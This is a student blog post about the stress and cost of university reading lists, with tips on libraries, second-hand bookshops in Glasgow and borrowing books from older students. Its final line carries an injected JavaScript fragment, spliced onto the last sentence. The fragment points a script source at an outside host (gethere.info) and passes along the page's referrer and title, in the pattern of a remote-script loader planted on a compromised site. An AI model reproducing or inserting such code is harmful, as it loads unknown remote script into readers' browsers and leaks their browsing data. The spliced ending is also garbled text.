By Chris Park
“Did you do the reading?” a question usually whispered between friends at the start of a tutorial. The answer, depending how far into the semester, probably is: most of it; some of it; what reading? All too often you find yourself slouching in your chair, head down, hiding behind the person in front of you because you haven’t read the 80 page e-journal and you’re trying to avoid playing “The Chase” with your tutor. If you’re in a subject that demands a lot of reading then you’ll know the monotony, stress and expense of those satanic reading lists.
Being a third year english student, books are piled on my desk like Roman columns. Most of them I’ve collected over the years, some are for future studies, and a small selection are for leisure reading – I seriously need to get a book shelf. I’ve always read because I enjoy it, but since starting Uni the only time I’ve had to read something I actually chose is during summer. We’re forced to surrender our personal reading to colossal and perpetual lists of “set texts” or (even worse) “secondary reading”. For such a simple exercise, it’s amazing how stressful reading can become – especially when you have a deadline and a list to get through.
What’s more, dead tree press is expensive. The cost of some reading lists can be terrifying before the work even begins. It shocks a lot of Fresher’s when they start Uni: beaming and ready to learn; then they’re shot down by a bill for textbooks potentially running into hundreds of pounds. And I think hardened students know the frustration of forking out for a book, then only using it for a one hour class before it gathers dust under your bed.
If you’re like me and the reading and the deadlines and the fear of not succeeding can become too much then I would urge you to stop for a minute and just breathe: you’re only human. It’s impossible to confine yourself to reading and tackling assignments every minute of the day and still take advantage of everything else Uni has to offer: socialising, sport, clubs and societies – to name the obvious things. Inevitably, there always will be some PDF file that you can’t read or assignments that are more rushed than what you’d like but that’s ok; students are busy people and there aren’t enough hours in the day to do absolutely everything.
Something that works for me is going back to basics and visiting the library. It’s ideal for studying or just sitting down to read because there are no distractions and it’s (usually) very tranquil in the silent section. I feel that just being in an environment designed for studying makes a massive difference. But don’t be one of those guys that “hits the library for a few hours” after the lecture but who we all know just sits on Facebook liking Vines.
But most importantly, make time for pleasure reading if it’s something you enjoy – don’t let academic reading ruin it for you; keep them separated. If the cost of books is proving to be overwhelming then there are a lot of things you can try to do that will placate your bank balance. Be savvy about buying and remember that there are many second hand book shops nestling in Glasgow city centre and West end – not to mention free ones in the library and often books are available electronically. Also, befriending some people on your course in the years above you might be an easy and cheaper way to get the books you need if you’re charming enough.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;